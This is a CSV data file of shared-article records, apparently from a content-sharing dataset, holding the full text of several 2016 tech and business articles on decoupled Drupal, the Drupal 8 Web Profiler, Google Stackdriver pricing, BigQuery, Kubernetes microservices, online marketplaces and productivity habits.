1467393463,CONTENT SHARED,-595851741330881198,3891637997717104548,-2108423950476348958,,,,HTML,https://dev.acquia.com/blog/the-risks-and-rewards-of-fully-decoupling-drupal/16/06/2016/15686,The Risks and Rewards of Fully Decoupling Drupal | Acquia,"With the advent of web services in Drupal 8 core, decoupling Drupal - namely, using Drupal as a content repository to expose data for retrieval and manipulation by other applications - has never been easier. Now, with the REST module in core, you can transform Drupal into a data service without custom code or substantial configuration. But is it a good idea? What are some of the considerations you should scrutinize when opting for a fully decoupled project? Decoupling Drupal is now on most of the Drupal universe's radar, and Drupal project lead Dries Buytaert also has his own recommendations when it comes to decoupling. Fully decoupling Drupal involves a complete separation between Drupal's front end and back end, in which the Twig theme layer is replaced with a different front end entirely. Examples include native mobile or desktop applications, JavaScript single-page applications, other server-side applications, or even Internet of Things (IoT) applications. Typically, these applications communicate with Drupal using a RESTful API, which serves as the middle layer between the front end and back end. In Drupal, a RESTful API exposes resources as JSON or XML, which can be queried or modified using the HTTP methods which underlie the web as it exists today, such as GET, POST, PATCH, and DELETE. In this blog post, I'll walk through some of the implications of fully decoupling Drupal - in short, using Drupal solely as a back end and not as a front end. While a fully decoupled Drupal implementation comes with several big benefits, the risks can quickly render a project prohibitively expensive. In short, if you fully decouple Drupal, you have to be prepared to replace - or otherwise abandon some of the features that we have long taken for granted. Rewards of fully decoupling Drupal The advantages of fully decoupled Drupal implementations are numerous. Employing Drupal solely as a data service is particularly compelling if you have a team that specializes in a JavaScript framework, or other front-end technologies besides Drupal. Separation of concerns One of the fundamental tenets of web development is the notion of separation of concerns. Structured content and its delivery is the skeleton of Drupal - the structure - while templates and corresponding logic comprise its cosmetic appearance - the presentation. By provisioning data to the front end solely in JSON or XML, all aesthetic considerations which may have decorated the data in a monolithic implementation are moot. In fully decoupled Drupal, the front end alone controls the presentation of the data. Compelling exceptions such as RESTful Panels are available but challenge the way we conceptualize the separation of concerns between structure and presentation. Differentiated development velocities If you have a team split between developers with front-end expertise and others who are experienced Drupal developers, you may have encountered issues in your project's progress due to the lack of intelligibility between both skill sets. For instance, while Ember developers are well-versed in Handlebars, they may balk at a Twig template in Drupal. Fully decoupling Drupal allows both teams to pursue their own velocities. Front-end developers are no longer hamstrung by the limitations of the Drupal theme layer, and they are free to exert control over all markup and rendering. Similarly, Drupal developers need not worry about the nuances of the front end, instead focusing their attention on constructing a robust RESTful API. Content syndication and application ecosystems Last but not least, the idea of ""write once, publish everywhere"" is quickly gaining momentum in content delivery circles, particularly when it comes to multichannel publishing. As publishers and content providers increasingly leverage diverse means to export their content and data to a bevy of touchpoints, Drupal can serve as the centerpiece of a constellation of applications, each of which ingest data emanating from a single source. It is crucial to note here that Drupal need not be fully decoupled to enable content syndication as part of an application ecosystem. In fact, many traditionally monolithic Drupal sites export data for ingestion by fully decoupled applications. In this paradigm, Drupal preserves its end-to-end contiguity and serves as both a public-facing Drupal site and a centralized data service for decoupled applications. Indeed, this is the architecture Dries recommends explicitly for a set of applications requiring data from a Drupal repository. Risks of fully decoupling Drupal If you choose to use Drupal solely as a data service, however, without leveraging any of its front-end features, your architecture may run into more risks, and you will either need to rebuild critical functions Drupal performs or jettison them altogether. Additional point of failure Traditionally, monolithic Drupal architectures are hosted on LAMP stacks, which are commonplace on the web. However, fully decoupled applications written in JavaScript (and which can be compiled to native applications) require Node.js-based stacks, such as MEAN (MongoDB, Express, Angular, Node.js) or MERN (React in lieu of Angular). Still other cloud platforms may be required for native mobile or IOT applications. For this reason, introducing another hosting stack into your infrastructure may not be advisable for companies with more modest means. But there is another important reason for pause: Another stack represents an additional point of failure. If the Drupal site containing your REST API fails, the data shown by your application will be stale or nonexistent. Similarly, if your applications go offline, your data is now completely inaccessible, since Drupal has no front end on which to display its content, unless the central repository is a public-facing site. Security and input sanitization Though most notable JavaScript frameworks and application frameworks have mechanisms to protect against cross-site scripting attacks, such as input sanitization, fully decoupling Drupal requires you to consider the security implications of your architecture carefully. For instance, Drupal contains text sanitization and form validation out of the box for all fields, but leveraging this features requires a coupled implementation. This is a significant risk, particularly if you are creating your own homegrown framework or ""vanilla"" approach which does not employ any existing tools. The security of user inputs becomes a significant concern at this point. Rather than letting Drupal do the heavy lifting, research will be required to determine the right course of action to ensure the security of your applications and their users. Contextualized editing and administration Among Drupal 8's most compelling features are contextualized administration tools such as in-place editing (Quick Edit) and adjacent menus for configuration (Contextual Links, long a Drupal fixture). In an in-preview context, these administrative interfaces allow editors and site builders to make adjustments to content or configuration on the fly while the result is in view. Decoupling Drupal's front end means that these contextualized tools have no place to live, unless they are rebuilt from scratch on the decoupled front end. Using a distinct front end from Drupal's own transfers the responsibility to the front-end developer, who must either provide replicas of those tools or acknowledge this detriment to the editorial experience. Layout and display management Drupal 8's core and contributed modules for layout and display management offer a rich array of features to control how content is variably displayed (Display Suite), or how ""panes"" of content should be structured into a layout (Panels). These modules are tightly coupled to Drupal's appearance layer, and as such require a high degree of control over Drupal's markup. Without available features such as Panels, layout management suddenly becomes a matter for the developer, not for the site assembler. This presents difficulties for marketing teams with little development experience. If you wish to continue empowering an editorial team to make modifications to layout and not solely content, you will need to either utilize Drupal's existing patterns, reconstruct layout management as a feature in your framework of choice, or export layout configuration details using a module like RESTful Panels . Previewable content workflow One of the central pillars underpinning any robust CMS is the concept of content workflow, in which content states such as drafts can be easily previewed without incurring the danger of their accidentally being posted. This is particularly important in the case of embargoed content, in which prematurely published content can damage a business's reputation and its connections. Without Drupal's ability to display previews of content in their workflow states, the notion of previewable content workflow from the editorial standpoint becomes much more difficult. Some of the roundabout solutions include setting up an additional staging environment inaccessible to the public for editorial previews or extending your REST API to provide previewable content through means such as additional authentication or unique query parameters. System notifications One of the central features of Drupal is its notification system, which alerts you about any issues in an installation of Drupal. These can include severe errors which require your immediate attention. Though a REST resource is available in Drupal to retrieve watchdog logs, these are only some of the possible errors that administrators should be aware of. Drupal system messages as shown at the top of rendered pages are unavailable in a fully decoupled environment. In short, in order to maintain full awareness of potential issues in Drupal that may affect the provisioning of data for your applications, you will need to scrutinize system messages within the Drupal administrative interface, as these will be unavailable in a JavaScript or native application framework without substantial custom code. Improved performance Drupal 8 core now includes cache tags, or cacheability metadata, which allow you to declare dependencies on data managed by Drupal and allow for cache invalidation of items that rely on granular content contained therein. This is what enables BigPipe , which provides progressive loads of pages based on the cacheability of a page's component, thus abbreviating time to first paint. These capabilities open the door to significantly improved performance when it comes to Drupal's page loads. As such, the argument against using end-to-end Drupal for reasons of page load performance are less convincing, and this form of progressive loading based on varied cacheability cannot be leveraged as a feature in a fully decoupled implementation. Accessibility and user experience Last but not least, accessible markup and user experience are key considerations for any Drupal site. For instance, Drupal has ARIA roles and other techniques to provide for users of assistive technologies such as screen readers. In addition, Drupal's strong focus on usability ensures that all user interfaces built on Drupal follow certain standards. Markup and user experience are two elements that require a complete reinvention in the fully decoupled use case, because those applications no longer enjoy access to Drupal's construction of markup or its available slate of core interface components and interactions. As a result, the onus is on the front-end developer to become the ""markup guru"" and craft a compelling user experience without the aid of Drupal. Conclusion While decoupled Drupal is a compelling and eminently useful solution for facilitating application ecosystems, it comes with significant trade-offs if you opt to use Drupal solely as a data service without a coupled front end. Fully decoupling Drupal without the Twig-driven front end means that you can enable better separation of concerns between structure and presentation, as well as differentiated development velocities between front-end and back-end teams. Nonetheless, decoupled Drupal - and jettisoning the Drupal front end - translates into issues that you should be prepared to address in a client project or in your own builds. For instance, hosting an additional application requires an additional stack beyond the traditional LAMP stack, thereby introducing another potential point of failure. Moreover, you will need to rely on your own or a framework's methods for cross-site scripting protection and input sanitization. More relevant to the editor, administrator, and end user experience, crucial features such as contextualized administration, layout and display management, a previewable content workflow, in-page system notifications, improved performance, and accessible markup and user experience - they will all have to be provided by you or the front-end framework you choose. If you are interested in pursuing a fully decoupled architecture because of the user experience benefits that accompany it, there are alternatives, the most prominent of which is progressive decoupling , in which JavaScript application components are interpolated into a page output rendered by Drupal. With the help of an expanding ecosystem around progressive decoupling, you can achieve your user experience goals without abandoning features that are hallmarks of Drupal. In short, if you decide to decouple Drupal, you should be prepared to engage a highly competent front-end development team and experiment with your own solutions as you explore this exciting new architectural paradigm.",en
1467395966,CONTENT SHARED,9128267824356972069,-1443636648652872475,-6888766283334443340,,,,HTML,https://medium.com/@googleforwork/what-bazaars-can-teach-us-about-digital-marketplaces-cc07aacc93bc,What Bazaars Can Teach Us About Digital Marketplaces,"By Aiaz Kazi, Head of Platform Ecosystem, Google for Work We tend to look to the future to solve today's problems, but after taking a trip to Morocco, I got to thinking about how we can learn from the past. The Jemaa el-Fna a is a vibrant bazaar located in the bustling center of Marrakesh, a major Moroccan city. In the daytime, it's mainly occupied by orange juice and water sellers who give way to entertainers, storytellers and dancers as the sun begins to set. Beneath all the frenetic activity is a smoothly operating marketplace and community that has persevered over centuries, evolving continuously as the modern city has risen around it, and yet remaining unchanged at the core. It's amazing how the key principles that underpin the Jemaa el-Fna a are still essential today. Marketplace designers could learn a thing or two by studying it. A long long time ago... The Jemaa el-Fna a was founded in the 11th century. The bazaar, called ""souk"" inArabic, has visitors flowing below cloth canopies to escape the heat from sunrise to sunset. Merchants post themselves in front of their stands, encouraging customers to come have a look at their wares. And despite Marrakesh's hot summers, customers rarely shy away from weekend souk shopping. It's a chance to sip refreshments and watch the flow of humanity go by. These markets are more than just businesses; they're a way of life. Come gather 'round people (buyers and sellers) wherever you roam... At its heart, the Moroccan souk is a two-sided marketplace, meaning it provides a central place for buyers and sellers to transact business. There are benefits on both sides. The market attracts multiple buyers to a central location, making it attractive for sellers. In turn, buyers can browse and try out some goods for free, and sellers will likely source goods that are in high demand. In exchange for matching buyers and sellers and providing the physical infrastructure, the marketplace charges sellers a flat rate to rent their souk space. Just like the Jemaa el-Fna a, today's digital markets are organized as two-sided marketplaces. They provide buyer-seller matching, enable transactions and channel buyer demand back to sellers. They have evolved to monetize by charging a listing fee or taking a small percentage of each transaction a seller makes. Thus, digital marketplaces and souks are each based on a model where value is created by bringing together buyers and sellers, which is then monetized. The similarities don't end there. It's a matter of trust... Marketplaces have historically evolved from peer-to-peer communities. Nomadic merchants relied on locals to spread the word each time they moved to a new city. Although souks are now permanent, they still rely on the community to succeed. Take quality control, which the souk exerts through the allocation of stalls to sellers. The souk's goal is to provide the best possible experience for buyers, so it relies heavily on feedback from the community to curate sellers. Over time, buyers identify low-quality and dishonest merchants, who aren't allocated stalls in the future, thereby improving overall quality. Successful marketplaces, like the souk in Jemaa el-Fna a, work hard to foster a vibrant community. Even today it's a place where people come together, learn, gossip and have fun. Software platforms need a community too. Indeed, the trust that a thriving community helps foster is even more crucial in digital markets, since sellers and buyers don't see each other. The Google Apps Marketplace , for example, has developer and IT admin communities that support the ecosystem with information and services. The exchange of information not only educates prospective buyers, it raises awareness of the products and services offered. The community provides ratings for the apps in the marketplace and can often report abuse. In turn, just like the souk, a well-run software market will take action on the feedback that it receives from users. I get by with a little help from my friends... Buyers, sellers, and community aren't enough. Marketplaces need ancillary services too.Moroccan markets can get unbearably hot during the day, which is why you'll see orange juice carts sprinkled throughout. The point isn't just to sell orange juice, it's also to keep buyers hydrated and cool so that they can shop for longer. In the modern digital world, partner services like these are still necessary for a well-functioning marketplace. If you look at Salesforce's AppExchange marketplace, you will see a listing of partners who can help customers install the applications they buy there. Others provide training, education, best practices, and custom development services. These vendors are like the orange juice sellers. Their goal is to help sellers shape and improve the experience for buyers - and keep them coming back for more. I believe in yesterday... Platforms are driving the technology we use at home and in the office, but their underlying dynamics trace their roots back hundreds of years. While it's wonderful to imagine the future, engineers have plenty to learn about platforms by embracing the past and studying a marketplace like Jemaa el-Fna a. It might just hold the key to the next great software platform and marketplace.",en
1467398641,CONTENT SHARED,-6546787050052580484,3891637997717104548,-2108423950476348958,,,,HTML,https://www.webwash.net/drupal/tutorials/debug-site-performance-using-web-profiler-drupal-8,Debug Site Performance Using Web Profiler in Drupal 8,"In the beginning of any Drupal project the site loads very quickly because there aren't many modules installed. But as you add modules, the performance of the site will become slower and slower. There's always a certain point in the project where you realize it's time to look at the problem and see if it's a rogue module or some dodgy code, we've all seen this. Trying to debug a performance issue can be tedious work. But often, it comes down to having too many queries loaded on a page. If you're on Drupal 7, just enable query logging using the Devel module. This will show all the queries generated at the bottom of the page. But for Drupal 8 we have something better: Web Profiler. Web Profiler is a Drupal 8 port of the Symfony WebProfiler bundle. The port is possible because Drupal 8 uses Symfony components. Web Profiler adds a toolbar at the bottom of every page and shows you all sorts of stats such as the amount of database queries loaded on the page, which services are used and much more. Now there're a few other ways to profile your Drupal site. A popular one is to use XHProf and Devel integrates with it. You also have the XHProf module. In this tutorial, you'll learn how to install and use Web Profiler. Getting Started Web Profiler used to be its own project. However, now it's part of Devel . Go download the Devel module then install the Web Profiler sub-module. Below are the Drush and Drupal Console commands to download and install: Drush: Drupal Console: Install Libraries Add highlight.js and D3.js As far as I can tell these two JavaScript libraries are optional. Web Profiler will still work even if you don't have these installed. Highlight.js is used, as you can guess, to add syntax highlighting to code. You can see it used when listing out database queries. To add highlight.js, just head over to its download page and click on the Download button in the ""Custom package"" section. Then extract the downloaded zip file into /libraries/highlight so the path to the library is /libraries/highlight/highlight.pack.js . D3.js is used when viewing the Timeline page. To add D3, just go to its homepage and download the library by clicking on d3.zip. Extract the zip file copy the d3 folder into the /libraries directory so it's /libraries/d3/d3.min.js . Using Web Profiler One thing I like about Web Profiler is that it's easy to setup. Just install the module and the toolbar will appear on the page. Straightaway you'll be able to see useful information such as the query count, memory usage and more. Here are two useful items which'll appear on the toolbar. Timeline This shows you the time it took to render the page and memory usage. If you click on the Timeline item and see an empty page it means you haven't finished configuring it. You'll need to add D3 and some code to your settings.php. You can grab the code from the ""Displaying Timeline"" section. Database This shows you the amount of queries used to render the page and the total query time. If you want to see all the queries, just click on the Database item. Enable Extra Toolbar Items Not all available toolbar items are active by default. To enable them, go to the configuration page by hovering over the Drupal icon on the left and clicking on ""Configure Webprofiler"". In the ""Active toolbar items"" checkbox list you'll see all the toolbar items. To enable or disable, just check the checkbox and click on ""Save configuration"". If you're learning how to write you're own service or event , which is new for Drupal 8, then I'd recommend you activate them in the toolbar. Let us know which toolbar item you like to use in the comments below. Configuring Web Profiler Open Discovered Classes in IDE or Text Editor In a lot of the reports that you get back from Web Profiler, it references a class and method. Take for example the database queries. You can see where the queries are called from. Web Profiler lets you navigate directly to the class and method by clicking it. It'll open the configured IDE and go directly to the method. This makes it easy to get to the source with a single click. Let's configure Web Profiler to open PhpStorm. Go to the ""Webprofiler settings"" page (admin/config/development/devel/webprofiler) or click on the ""Configure Webprofiler"" link by hovering over the Drupal icon on the left. Click on the ""IDE SETTINGS"" field-set and add phpstorm: [email protected] & [email protected] into ""IDE link"". Please note, I've only tested this using PhpStorm on a mac. Displaying Timeline For Web Profiler to display the details on the timeline page you must add the following two lines to your settings.php or settings.local.php . Be aware that the code above assumes you'll add the devel module in /modules/contrib/devel . Summary The Web Profiler is a must-have module if you're doing any development in Drupal 8. It gives you visibility into parts of Drupal which can be hard to debug. If you need to find the order in which events are loaded or how many blocks are displayed, it can help. I'd recommend you have the toolbar displayed while building the site. This way if a page takes a while to render, then the toolbar will help you debug it. FAQ Q: Nothing appears on the timeline page First, make sure you've add the D3 library and you've add the bit of code in the ""Displaying Timeline"" section.",en
1467399256,CONTENT SHARED,-4239579488204604851,3891637997717104548,-2108423950476348958,,,,HTML,https://cloudplatform.googleblog.com/2016/06/announcing-pricing-for-Google-Stackdriver.html,Announcing pricing for Google Stackdriver,"We recently announced beta availability of Google Stackdriver , an integrated monitoring, logging and diagnostics suite for applications running on Google Cloud Platform and Amazon Web Services. 1 Our customers have responded to the service with enthusiasm. While the service will be in beta for a couple more months, today we're sharing a preview of Google Stackdriver pricing. By integrating monitoring, logging and diagnostics, Google Stackdriver makes ops easier for the hybrid cloud, equipping customers with insight into the health, performance and availability of their applications. We're unifying these services into a single package, which makes Google Stackdriver affordable, easy-to-use, and flexible. Here's a high level overview of how pricing will work: We'll offer Free and Premium Tiers of Google Stackdriver. The Free Tier will provide access to key metrics, traces, error reports and logs (up to 5GB/month) that are generated by Cloud Platform services. The Premium Tier adds integration with Amazon Web Services, support for monitoring and logging agents, alert notifications (integration with Slack, HipChat, PagerDuty, SMS, etc.), custom metrics, custom logs, 30-day log retention and more. The Premium Tier will be priced at a flat rate of $8.00 per monitored resource per month, prorated hourly. Each monitored resource adds 500 custom metric time series and 10GB of monthly log data storage to an account-wide quota. Each project also receives 250 custom metric descriptors. Billable resources map roughly to virtual machine instances and their equivalents, as described here . For more details on the Free and Premium Tiers, please refer to the Google Stackdriver pricing FAQ , and watch this blog for more exciting Stackdriver news in the coming months! 1 ""Amazon Web Services"" and ""AWS"" are trademarks of Amazon.com, Inc. or its affiliates in the United States and/or other countries.",en
1467400076,CONTENT SHARED,-3404981437157985820,3891637997717104548,-2108423950476348958,,,,HTML,https://cloudplatform.googleblog.com/2016/06/BigQuery-goes-wide-this-week-on-Google-Cloud-Platform.html,BigQuery goes wide: this week on Google Cloud Platform,"One of the many tools that sets Google Cloud Platform apart from other cloud providers is Google BigQuery , a managed data warehouse service that allows users to query petabyte-scale datasets with a familiar SQL-like interface. Last month, we announced that BigQuery is now integrated with Google Drive , our online file storage space, and Google Sheets , our spreadsheet app. That's on top of an existing integration with Google Data Analytics Studio , as discussed by Felipe Hoffa here . We've also highlighted some fun and interesting ways to use BigQuery, for example, to forecast demand , or to visualize campaign contributions to the 2016 presidential elections. Now it seems the broader cloud community is getting wind of how useful and useable BigQuery can be, and is working on ways to use it with workloads and datasets outside of GCP. This week, we read an interesting blog from Dominic Woodman about how he uses BigQuery for large-scale SEO processes such as doing an audit on a large number of internal links. The article is a must-read for more than just online marketers, though - it's relevant to anyone who makes heavy use of Microsoft Excel. ""What do you do when Excel fails?"" Woodman writes. ""Excel is a fantastic tool, but that doesn't mean it's what we should use for everything."" We also heard from Gareth Jones at Shine Technologies, a digital consulting company, about exporting HTTP request logs from AWS into BigQuery for analysis. Now, we could use Splunk or fluentd or logstash or some other great service for doing this, but our client is familiar with BigQuery, they like the SQL interface, and they have other datasets stored there already. As a bonus, they could run their own reports instead of having to talk to developers (and nobody wants to do that, not even developers). You should still read this article even if you're not in the business of analyzing lots request logs. That's because along the way, Jones also introduces a useful hack for avoiding egress charges as they move data out of AWS. These charges would have set them back $350/month, and avoiding extra charges is something that anyone working with multiple cloud providers can get behind.",en
1467400102,CONTENT SHARED,4372031182493802582,3891637997717104548,-2108423950476348958,,,,HTML,https://cloudplatform.googleblog.com/2016/06/creating-a-scalable-API-with-microservices.html,Creating a scalable API with microservices,"So you want to build an API, and do it with microservices? Microservices are perfect for building APIs. Teams can focus on building small, independent components that perform a specific API call. You can write each endpoint in a different language, provide different SLAs and even scale the microservices independently. You may have seen some of my talks on microservices . I talk about how easy it is to deploy and run multiple services in a kubernetes cluster. This demo code shows how easy it is to launch a frontend and backend service that communicates together and scales independently. One thing this demo didn't really show is services written in multiple languages all working together transparently to the end user. Recently, my colleague Sara Robinson and I built a demo with the folks at NGINX that shows you how you can build such a service, and we just open sourced all the code . Read on for an in-depth writeup. (This is a long post - feel free to jump to the sections that apply to your specific needs.) This demo relies on Kubernetes and Google Container Engine to run the cluster. Before we get started, make sure you've created a Google Cloud project. If you need to get up to speed on Kubernetes, check out this blog post . Why we used Kubernetes Sara and I program in a lot of different languages. Certain languages are better suited for certain problems, so it makes sense to use the best tool for the job. For example, Google runs a combination of primarily C++, Java, Python and Go internally. Before containers and Kubernetes, this would mean setting up four different servers with four different stacks, which is a very ops-heavy thing to do. If you wanted to consolidate servers, you would have to install multiple stacks on the same machine. But upgrading one stack might break another stack, scaling the system becomes an operational challenge, and things in general become harder. At this point, many people begrudgingly choose one stack and stick with it. With containers, this headache goes away. Containers help abstract the machines from the code, so you can run any stack on any machine without having to explicitly configure that machine. Kubernetes automates the orchestration part of the story, so you can actually deploy and manage all these containers without having to SSH into machines. Creating a Kubernetes cluster Let's create a Kubernetes cluster to run our applications. Make sure you've installed the Google Cloud SDK or use Cloud Shell (and if you're new to Google Cloud, sign up for the free trial ). I'm going to use a standard three machine cluster. And now log in. You're now done with your cluster setup! Microservices code samples The code we're deploying is super simple. In each language, we wrote a different string implementation. We have four different services (click the links to see the code): Ruby - Arrayify : As you can see, this is really basic stuff. Containerizing the code The next step is to put this code into a container. The container build process gathers all the dependencies and bundles them into a single shippable blob. We're going to use Docker to do this. Make sure you have Docker installed or are using Cloud Shell . Docker makes it super simple to build containers and feel confident that they'll run the same in all environments. If you haven't used Docker before, check out one of my previous blog posts that discusses running a MEAN stack with containers. The first step is to create something called a Dockerfile. Here are the Dockerfiles we're using. These are all you need to install your whole stack! Your dependencies may be a bit more complicated, but the basic idea of a Dockerfile is to write out the linux commands you want to run and specify the files you want to mount or copy into the container. Check out the Dockerfile docs to learn more. To build the apps, run the docker build command in the directory containing the Dockerfile. You can ""tag"" these images so they're ready to be securely saved in the cloud using Google Container Registry . Replace with your Google Cloud project ID, with a name for your container (e.g., reverser), and with the version (e.g., 0.1) Repeat this command for all four microservices. You've now built your containers! You can test them locally by running this command: If you're running linux, you can visit your microservice at localhost:8080. If you're not running linux, you should use docker-machine to run your docker engine (until Docker gets native support for Mac and Windows, which will be soon ). With docker-machine, get your instance name using: And then get your machine's IP address using: You should see something like this: This will push your image into a private repository that your cluster can access. Remember to push all four containers. You can see and manage all of your pushed containers in the Container Registry page . Now you need to deploy the containers to the cluster. The easiest way to do this is to run this command: Repeat this process for all four microservices, by creating a file for each and changing the container image and tags (basically replace ""arrayify"" with the other names). At this point, you should be able to see all the deployments and containers running in your cluster. Creating internal services This line sets up the DNS service that NGINX will use to find your microservices. This might not be necessary for your cluster, but I found it's safer to include this line. You might be curious about where this IP address comes from. It's the DNS service built into Kubernetes. If you have a custom DNS setup, you can find the IP address for your cluster with this command. Arrayify.default.svc.cluster.local is the Fully Qualified Domain Name for our kubernetes service. Repeat the process for all four microservices (basically replace ""arrayify"" with the other names). Trying it out Now go to the External IP and test out the unified API endpoint to see the results. Pretty cool stuff! Overview To recap, this is what we built: We use NGINX to expose a single API endpoint and proxy traffic to four different microservices, each having three instances. Woot! Extra reading: scaling, updating and monitoring At this point you have everything up and running. Let's take a quick look at how you can monitor, scale and update your microservice. Scaling Scaling your microservices with Kubernetes couldn't be easier. Let's say you wanted to scale up the number of Arrayify containers running in your cluster. You can use the following command to scale up to five containers: Scaling down is the same. If you want to scale the service down to one container, run the following command: You can also turn on autoscaling. This dynamically resizes the number of containers in your cluster depending on CPU load. To do this, use the following command: As you'd expect, this will ensure a minimum of one container always exists, and will scale up to five containers if necessary. It will try to make sure each container is at about 80% CPU utilization. You can also use this command to scale NGINX! It's important to note that VM (node) autoscaling isn't currently supported directly in Kubernetes. However, you can scale the nodes using the Google Cloud Managed Instance Group . Updating Being able to update your microservices with zero downtime is a big deal. Different parts of an app depend on various microservices, so if one microservice is down, it can have a negative impact on many parts of the system. Thankfully, Kubernetes makes zero downtime deployments of microservices much more manageable. To update a microservice, first build a new container with the new code, and give it a new tag. For example, if you want to update the ""arrayify"" microservice, rerun the same Docker build command, but bump the version from 0.1 to 0.2 Then push it up just like before: Now, open your ""deployment.yaml"" file for the arrayify microservice, and change the container version from 0.1 to 0.2. Now you can deploy the new version. Kubernetes will scale the new version up while scaling the old version down automatically! If the new version has a bug, you can also roll back with a single command: (Replace ""arrayify"" with the name of the microservice you want to update or rollback.) To read more about all the things you can do with Kubernetes deployments, check out the docs . Using NGINX Plus, you get a cool dashboard where you can see the live status of each microservice. You can see the traffic, errors, and health status of each individual microservice. See the NGINX config file to see how to set this up. Finally, I also highly recommend using Google Stackdriver to set up automatic alerts and triggers for your microservices. Stackdriver is a one-stop shop for monitoring your application. By default, the stdout and stderr of each container is sent to Stackdriver Logging . Stackdriver Monitoring can also look into our Kubernetes cluster and monitor individual pods, and Stackdriver Debugging can help debug live production code without performance hits. If you've made it this far, thanks for sticking with me all the way to the end. Let me know what you think about this tutorial or other topics you'd like me to cover. You can find me on Twitter at @SandeepDinesh .",en
1467407227,CONTENT SHARED,-6765871608738223618,3609194402293569455,2738135358555195865,,,,HTML,http://www.inc.com/quora/10-simple-habits-of-insanely-productive-people.html,10 Simple Habits of Insanely Productive People,"What are some uncommon ways to work smarter instead of harder? originally appeared on Quora -- the knowledge sharing network where compelling questions are answered by people with unique insights . Answer by Nelson Wang , founder of ceolifestyle.io, on Quora : When I was 21, I used to work incredibly long hours because I thought it would fuel my career success . Boy, was I wrong. Sure, I was productive over the short term. But then something funny happened. I started to get really tired all the time. I couldn't focus anymore during the late nights. I began to make mistakes. I wasn't as polished in my presentations. I realized most people didn't even care that I was putting in the extra hours. I burned out . Over my 11-year career, I've learned to focus on working smarter. I've taken detailed notes from some of the top individual contributors and executives from companies like MTV, VMware, Cisco, Box, and Optimizely. In those 11 years, I went from being a labor foreman to now being a VP at a fast-growing startup. I've also started a motivational website called CEO Lifestyle that has over 9,000 subscribers in just a few months. So what did I learn? Here's the secret: Optimize your work life so that you maximize your results. I've put together a list of the top 10 ways to optimize your productivity. I've never shared this list - until now. Here are the top 10. 1. Pull a Mark Zuckerberg. Did you know that he wears a gray T-shirt all the time? Here's his explanation: ""I really want to clear my life to make it so that I have to make as few decisions as possible about anything except how to best serve this community. I'm in this really lucky position, where I get to wake up every day and help serve more than a billion people. And I feel like I'm not doing my job if I spend any of my energy on things that are silly or frivolous about my life."" (This quote is from this article: Why Mark Zuckerberg wears the same clothes to work everyday .) Here's my point: simplify your life. Reduce the amount of trivial decisions you have to make every day so that you can focus you energy on the really important ones. Pull a Mark Zuckerberg. Oh, did I mention that Steve Jobs did this, too? Just saying. 2. Use the 20-feet rule. Let's say you're working on a project at work. Have you ever stopped to check your phone randomly to look at Instagram, Facebook, or Snapchat? If you're doing this multiple times within an hour, it might be hurting your productivity. If your cell phone isn't absolutely critical to your job, put it somewhere 20 feet away from your desk. This forces you to do quite a bit of walking to check your phone and helps you to focus on the work at hand. 3. Use the top-3 rule. To make your day ultra-focused and productive, ask yourself, ""What are the three key things I really need to accomplish today?"" Before you do anything else, make sure you crush those three objectives first. Prioritize ruthlessly. 4. Learn to batch tasks. For tasks that are not urgent, batch them. For example, how many times do you check your email every day? A lot of people will click refresh on their inbox and then respond to emails as they come in. If your job doesn't require an immediate response on those emails, batch and check them every three hours throughout the day. This way, you won't be constantly reacting to every email that comes in and you can prioritize your activities for the day. Don't let email run your life. #OperationInboxZero 5. Leverage the team. We get it. You want to be the hero. You want to be the one to deliver on that big project. You want to get the applause. After all, who doesn't love the recognition? You absolutely want to work hard. You absolutely want to do a great job. What you don't want is to burn out. Make sure you leverage the team to get the job done. If someone else is more talented and skilled than you in a certain area, collaborate with that person to drive better results. For example, when I was working on our iPhone app, I tried to design it myself in Photoshop. Did I mention I suck at Photoshop? It turned out terribly. So what did I do next? I tapped my friend on the shoulder for help (he's a rock star designer) and within one day we had an amazing design that was 10 times better than the original. By the time we went live with the app, we had a design that was amazing. Want proof? The app hit the top 100 in the Lifestyle category. Remember, teamwork makes the dream work. 6. Virtual assistants are your best friends. Not literally. Well, unless you're really good at building friendships over Skype. Then it might be possible. Anyway, virtual assistants can help to take on a lot of the administrative tasks that you may be overwhelmed with. Whether it's data research, writing, or language translation, there's a ton of skills they bring to the table to help you scale your work. 7. Get rid of paper. If you don't have to have a paper copy, create a digital one and store it in the cloud. There are a ton of cloud providers that offer a large amount of free storage like Box. For example, for my business receipts, instead of keeping the physical copies in a cabinet, I've created a folder in Box for all of the digital copies. I can then search for a specific receipt if I need to. It makes life so much easier. Here's another great example: When I want to show someone marketing material, I'll have it available on my mobile phone through the Box app. This way, we can look at it together and I can also share it with this person afterward by sending a link right away. That's productivity! 8. Work on what you're passionate about. Life's short. Do you really want to work on stuff you don't enjoy? When you work with passion, your energy will be better, your focus will be more intense, and you'll have a sense of purpose in what you do. It's a game changer. Don't underestimate the power of happiness in work. Right now, I'm literally typing this article with a huge smile on my face and bobbing my head to music on Spotify. I'm so passionate about writing that I can often write multiple articles in a few hours. And it feels great too. It doesn't even feel like work. It feels like a mission. A calling. A journey. Do what you love. 9. Constantly test. Your ideas are just that: ideas. Don't spend too much time trying to come up with the perfect idea. At the end of the day, the only way to know if it'll work is to test it. The data will tell you if it's a good idea or not. Want to know how many apps it took for me to make hour top-100 apps? Fourteen tries. When I first started out, I thought all of them could be big hits. That's why it's critical to test. 10. Have a user-centric approach. Whenever people run into a tough challenge, you'll often hear a couple of different suggestions on how the problem can be solved. One of the best ways to solve hard problems is to ask yourself, ""What's best for the user?"" Having a user-centric approach as your guiding force will often drive you to the best answers. Put yourselves in their shoes. How do you make their lives better? How do you bring a sense of delight into their lives? How do you bring a huge smile to their face? Bonus tip. Surround yourself with inspiring, sharp, and positive people. Want to know why? It's simple. Awesomeness is contagious. It'll drive you to new heights. It'll teach you how to work smarter. It'll motivate you to be great. Don't wait a minute longer. The hardest part is getting started. So what are you waiting for? Start. Now. This question originally appeared on Quora -- the knowledge sharing network where compelling questions are answered by people with unique insights. You can follow Quora on Twitter , Facebook , and Google+ . More questions:",en
